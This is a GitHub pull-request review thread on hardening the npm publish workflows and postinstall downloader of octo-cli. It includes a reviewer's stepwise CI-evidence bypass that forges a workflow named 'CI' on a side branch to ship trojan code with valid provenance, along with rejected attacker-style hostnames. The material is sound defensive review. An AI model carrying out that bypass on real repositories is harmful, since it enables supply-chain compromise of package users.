• Published-before-upload availability window (release-publish.yml): in the draft=false path the release is un-drafted before build-artifacts uploads the archives + checksums.txt. Any npm install in that window hits a published release with no assets and fails. Not a security issue (npm-publish is triggered only after upload), but consider cut-as-draft → upload → un-draft, or have the gate assert expected assets are present.
• Tag-regex divergence: the validation regex differs across release-publish.yml, npm-publish.yml, and the reusable workflow (e.g. leading-zero / form differences). Converging on one shared pattern avoids one validator accepting a shape another rejects.

install.js (download / extract)

• Checksum lookup is first-match (parseChecksumEntry): .find(p => p[1] === asset) silently takes the first line for an asset; duplicate/conflicting entries are never detected. Behind the Release trust root, so not exploitable, but failing closed on duplicates is cheap.
• lstat guard rejects symlinks but not hardlinks: a hardlink member resolves to a regular file, so st.isFile() is true and it proceeds to chmod. Escape is currently blocked only by modern tar's own ../-stripping, not by this script. Optionally also reject st.nlink > 1, or extract to a fresh temp subdir and rename after the type check.

Tests

• The security-critical integration paths are unguarded even though the pure helpers are well tested: the inline got !== expected checksum comparison, the per-hop host enforcement + MAX_REDIRECTS bound in downloadOnce, the 404-vs-5xx-vs-timeout retry classification in download, and the symlink-rejection branch. Extracting these into small exported helpers (verifyDigest, isRetryable, a path-type check) would let a refactor that breaks the trust boundary fail a test rather than ship green.

run.js / packaging (nits)

• run.js maps only ENOENT to a friendly message; EACCES/ENOEXEC (non-executable / wrong-arch binary) fall through to a raw error though "reinstall" is the same remedy. run.js has no tests.
• No .npmignore; published contents rely entirely on the files whitelist (correct today, but a new shipped file must be remembered). A npm pack --dry-run assertion in CI would lock the manifest.

---

Items checked that are NOT bugs

To save reviewer time, these "expected" concerns were examined and hold up:

• Workflow inputs are read via env: vars, not interpolated into run: blocks — no CWE-94 command injection.
• All actions are SHA-pinned (checkout, setup-go, setup-node, goreleaser).
• refs/tags/ prefixing correctly defeats branch-vs-tag name confusion; the npm-publish handoff dispatches the workflow file from the trusted default branch while packaging the release tag.
• Checksum is verified in memory before any disk write / extraction / chmod / exec.
• Redirect allowlist is https-only and re-validated on every hop; .hostname defeats userinfo-injection.
• Named-member tar extraction structurally prevents zip-slip from other archive members.
• run.js uses array-argv spawnSync (no shell), propagates signals (128+signum) and exit codes correctly.
• --provenance / OIDC config is sound; 0.0.0 placeholder version is explicitly guarded in main().

[liuooo]

Round 10 — closed the missing CI-evidence invariant

Pushed `9e22c75`. You're right — the gate documentation claimed to enforce an invariant the code didn't enforce. The release-existence + tagName checks were the easy half; the missing half was "the tagged commit must have passed CI." Without it, the bypass you described works exactly as written: repo:write → tag at arbitrary commit → manually create a published Release → dispatch us → all four old checks pass → ship attacker code with valid Sigstore provenance.

New step: "Verify CI evidence for the tagged commit"

Mirrors reusable-release-publish.yml's `validate_run_id` check, but inline (no extra dispatch input — npm-publish stays self-contained):

1. Resolve tag → commit SHA via `gh api git/ref/tags/$TAG`. Handles annotated tags by dereferencing the tag object (refuses if it points anywhere but a commit).
2. Require ≥1 successful workflow_run named "CI" on that SHA via `gh api actions/runs?head_sha=&status=success`. "CI" matches the reusable workflow's `ci_workflow_name` default; flagged in a comment that if either is renamed they must change in lockstep.

If zero CI runs match, refuse with an actionable error pointing the operator at "push through a PR to main, wait for CI, then cut the release via release-publish.yml."

Permissions

`+ actions: read` for the `actions/runs` query. `contents: read` + `id-token: write` already present.

Documentation rewritten

The two gates are now explicitly labeled "Gate (part 1 of 2) — release existence" and "Gate (part 2 of 2) — CI evidence," and the old comment that claimed the existence check alone enforced the invariant is gone. It now says plainly what each part does and what the two together assert.

Smoke-tested against a known-good case

Ran the query against v0.5.0's commit (b5a4d6a) → returns 1 successful CI run. An attacker-pushed tag at a commit that never went through CI would return 0 and the gate would refuse.

About your P2 list

Acknowledged all of them. Not in this PR (each is a sensible follow-up I don't want to bundle into this round):

• NPM_TOKEN Environment gate — same item as round-4; requires repo Settings to define the Environment before the yml can reference it.
• Published-before-upload window — needs a draft-publish + flip-out-of-draft restructure of the reusable workflow.
• Tag-regex divergence across the 3 yml files — chasing this to single-source would involve a shared library workflow; the regexes are visibly identical in this repo's two files now, and the reusable workflow is more permissive (so it can't reject something we'd accept).
• Checksum first-match / hardlink guard / missing integration tests / run.js tests / .npmignore — all reasonable, none exploitable through the current trust path.

Reflection

This is the second time you've found a comment that claimed a stronger invariant than the code enforced (round 7 was the wall-clock deadline). Both times the comment was load-bearing — a future reviewer would have trusted it and not re-derived. Going forward I'll treat any comment that asserts "this enforces X" as a contract worth testing in the same commit (or weakening the comment).

Verified

• actionlint clean on all 3 workflows
• 35 npm tests still pass
• gh API smoke test against v0.5.0 commit returns 1 successful CI run

cc @yujiawei

[lml2468]

✅ Re-review APPROVED — octo-cli #27 (9e22c75)
feat(npm): add @mininglamp-oss/octo-cli npm wrapper

This commit adds the CI-evidence gate that yujiawei flagged in round 11 — closing the last remaining bypass path in the publish pipeline.

New: "Verify CI evidence for the tagged commit" step:

• Resolves tag → commit SHA (handles annotated tags via deref)
• Queries GitHub API for successful "CI" workflow runs on that SHA
• Refuses to publish if no CI pass exists on the tagged commit
• actions: read permission added to support the API query
• Skipped on dry_run (consistent with other gates)

This mirrors release-publish.yml's validate_run_id invariant directly in npm-publish.yml, so the bypass path (push tag → create Release via API → dispatch npm-publish without CI) is now blocked.

Threat model recap — all gates now in place:

1. v-prefix enforcement (no branch/tag confusion)
2. Resolver before checkout (rejected refs never land)
3. refs/tags/ checkout (explicit tag namespace)
4. Release existence + non-draft + tagName equality
5. Empty TAG bailout
6. CI evidence on tagged commit ← new

CI green. All 11 rounds of findings resolved.

[Jerry-Xin]

Summary: The PR is in scope for octo-cli and the npm wrapper/release workflow changes look ready to merge.

💬 Non-blocking

• 🟡 Warning: .github/workflows/release-publish.yml dispatches npm-publish.yml but does not wait for its result, so the release workflow can finish green even if npm publication later fails. Consider watching the dispatched run if you want one end-to-end release signal.

• 🔵 Suggestion: .github/workflows/ci.yml runs the installer unit tests, but CI does not currently run node --check scripts/run.js or npm pack --dry-run. Adding those would lock in the manual validation already described in the PR.

✅ Highlights

• The npm installer has solid guardrails: strict platform/version mapping, HTTPS host allowlisting, bounded downloads, checksum verification, and regular-file checks after extraction.
• The publish workflow handles the important release hardening points: v-prefixed semver validation, tag namespace checkout, dist-tag separation for prereleases, npm provenance, and release/CI evidence gates.
• Local verification passed: npm test, node --check for both scripts, npm pack --dry-run, npm publish --dry-run, and git diff --check.

[yujiawei]

Code Review — PR #27 (octo-cli)

Independent, security-focused review of the @mininglamp-oss/octo-cli npm wrapper and its publish/CI plumbing. This is a supply-chain–sensitive surface: a postinstall script downloads a prebuilt Go binary on every npm install -g, verifies its sha256, extracts, and execs it; two GitHub Actions workflows publish the package to npm with provenance. I re-read the full download → verify → extract path, both publish workflows, the runtime shim, and the packaging manifest at head 9e22c75, and adversarially re-checked each candidate finding against the actual code.

Verdict: APPROVED

The sole blocking issue from the previous round — the npm-publish.yml gate did not replicate the validate_run_id CI-evidence check, letting a repo:write actor publish an arbitrary tagged commit to @latest with valid provenance — is now resolved. The remaining items are non-blocking hardening notes, one of which is security-relevant and worth a human glance.

---

Previous P1 — resolved ✅

.github/workflows/npm-publish.yml now adds a "Verify CI evidence for the tagged commit" step (gate part 2 of 2). It:

• resolves refs/tags/<tag> → commit SHA, dereferencing annotated tags one hop and asserting the target is a commit;
• requires at least one successful CI workflow run on that exact head_sha (actions/runs?head_sha=…&status=success, filtered to .name == "CI");
• is correctly skipped on dry_run, with actions: read added to the job permissions for the query.

This faithfully mirrors the validate_run_id invariant from reusable-release-publish.yml, and combined with the existing release-existence/non-draft gate it closes the specific bypass described last round (a published Release with no CI evidence at the tagged commit). The comment that previously over-claimed an unenforced invariant has also been rewritten to describe the two-part gate accurately.

The rest of the publish path holds up under scrutiny: env-var indirection (no CWE-94 in run: blocks), SHA-pinned actions, refs/tags/ checkout pinning (defeats branch/tag name confusion), empty-TAG and returned_tag == TAG footgun guards, and --provenance/OIDC config are all sound.

---

Non-blocking — security-relevant (recommend a human glance)

CI-evidence gate matches on workflow name only (.name == "CI")

.github/workflows/npm-publish.yml — Verify CI evidence step.

A workflow_run's .name comes from the name: key of the workflow YAML on whatever branch triggered it, and GitHub runs on: push workflows from any branch a repo:write actor pushes — not just main. So a repo:write adversary could in principle: push a trojan commit C to a side branch that also contains a throwaway .github/workflows/x.yml with name: CI, on: push, steps that exit 0 (producing a successful run reporting head_sha=C, name="CI"); push tag v9.9.9 → C; create a published Release; dispatch npm-publish. The name-only filter would accept the forged run.

Why this is not a blocker for this PR: the exact same name-only weakness exists in reusable-release-publish.yml@main (it validates a single validate_run_id by workflow_name, equally forgeable via the side-branch trick), which is the agreed-upon trusted reference this step mirrors and is already in use on the accepted release path. This PR does not regress that posture — it brings npm-publish up to parity with it. The independent binary sha256 trust path is unaffected.

Suggested follow-up hardening (applies to both this gate and the reusable reference, best done as a separate change): bind the matched run to head_branch == "main" and path == ".github/workflows/ci.yml" (and ideally event in {push, pull_request}) so a matched "CI" run cannot originate from an attacker-authored side-branch workflow. Even stronger: gate NPM_TOKEN behind a protected GitHub Environment with required reviewers / tag-restricted deployment policy, giving a control plane independent of in-workflow logic.

---

Non-blocking — hardening / robustness

• Gate enumerates all runs at the SHA rather than pinning a specific operator-attested run id like the reusable reference. Doesn't change exploitability, but is a faithfulness gap vs. the reference.
• per_page=100 with no pagination on the workflow_runs query: a release commit with >100 successful runs could push the real CI run past page 1 and make the gate fail closed (safe direction — refuses to publish — but a confusing failure). Low likelihood for release commits.
• release-publish.yml published-before-upload window: in the draft=false path the release is un-drafted before artifacts upload. npm-publish is only triggered after upload so this isn't a security issue, but a direct npm install against the bare release in that window would fail. Consider cut-as-draft → upload → un-draft.
• .goreleaser.yaml uses deprecated format:/format_overrides: (singular) under version: "~> v2". Honored today (warn-only), but formats: (list) is the v2.4+ form; migrating avoids a future v2 cleanup silently breaking the archive names install.js depends on.
• install.js defense-in-depth nits (all behind the Release trust root, not remotely reachable): parseChecksumEntry takes the first matching line (duplicate entries undetected); the lstat().isFile() guard rejects symlinks but a hardlink member resolves to a regular file (currently neutralized only by tar's own ../-stripping) — optionally also reject st.nlink > 1.
• Tests: the pure helpers are well covered (host allowlist, semver, checksum parsing, deadline, PATH hints), but the security-critical integration paths (in-memory got !== expected compare, per-hop host enforcement + MAX_REDIRECTS, retry classification, symlink rejection) remain manual-only. Extracting small exported helpers would let a trust-boundary regression fail a test rather than ship green. run.js has no tests and maps only ENOENT to a friendly message.

---

Items checked that are NOT bugs

• Checksum verified in memory before any disk write / extract / chmod / exec; same buffer reused (no verify/extract TOCTOU).
• Redirect allowlist is https-only, re-validated on every hop, uses URL.hostname (rejects github.com.attacker.com, userinfo @evil.com, port tricks) — verified empirically.
• Named-member tar extraction structurally prevents zip-slip from sibling members; symlink member named octo-cli rejected via lstat; GNU tar neutralizes absolute / ../ hardlink targets — verified with crafted archives.
• Size cap (200 MiB, enforced mid-stream) and dual idle + wall-clock deadlines (armed on the in-flight request, bounding the whole retry chain) have no bypass; both archive and checksums.txt go through download().
• run.js bin path (__dirname/../bin/octo-cli[.exe]) matches exactly where install.js writes the binary; array-argv spawnSync (no shell); faithful signal (128+signum) and exit-code propagation.
• package.json files whitelist covers every runtime file and excludes the install-time-downloaded npm/bin/ and the test; os/cpu maps and assetName exactly match .goreleaser.yaml's name_template and the sha256 checksum algorithm.
• 0.0.0 placeholder version explicitly guarded in main().

---

CI note: build & test, npm test, actionlint, and Analyze (actions) are green; CodeQL is still running. The one red check, check-sprint, is a project-board process gate ("linked issue has no Sprint set — ask a Maintainer to assign it"), not a code defect.